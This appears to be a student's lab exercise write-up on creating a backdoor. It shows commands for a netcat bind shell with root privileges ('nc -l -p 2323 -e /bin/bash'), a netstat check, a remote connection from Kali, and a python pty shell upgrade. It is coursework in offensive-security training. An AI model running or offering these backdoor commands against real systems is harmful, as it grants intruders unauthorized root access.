

Roozah Khan  
Laboratory Exercise 3-8 – Creating a Backdoor

### Task 1: Setup a backdoor with netcat

```
could not chdir to home directory /home/student: no such file or directory
$ sudo echo test
[sudo] password for student:
test
$ sudo nc -l -p 2323 -e /bin/bash &
$
```

Terminal - student@Rkhan26: ~  
File Edit View Terminal Tabs Help  
student@Rkhan26:~\$ date  
Wed Sep 29 03:16:47 UTC 2021  
student@Rkhan26:~\$

To set up a backdoor I used the command `sudo echo test` to cache the sudo credentials again and then used `sudo netcat` command to start listener on port 2323.

### Task 2: Verify the backdoor with netstat

```
$ netstat -vat | grep 2323
tcp        0      0  *:2323          :::*               LISTEN
$
```

student@Rkhan26:~\$ date  
Wed Sep 29 03:17:52 UTC 2021  
student@Rkhan26:~\$

To verify that target terminal is listening I used the `-vat` command with `netstat` and as you can see it does say port 2323 is listening.

### Task 3: Connect to the backdoor with netcat

```
Terminal - student@Rkhan26: ~
File Edit View Terminal Tabs Help
student@Rkhan26:~$ nc 10.1.91.173 2323
whoami
root
python -c 'import pty; pty.spawn("/bin/bash")'
root@ip-10-1-91-173:/#
```

On the kali terminal, I used the `netcat` command to connect to the backdoor using the target IP address and the port 2323 that is listening. To verify, I used “`whoami`” command and it was successful because it says I am root. I used the python script to create a new bash shell.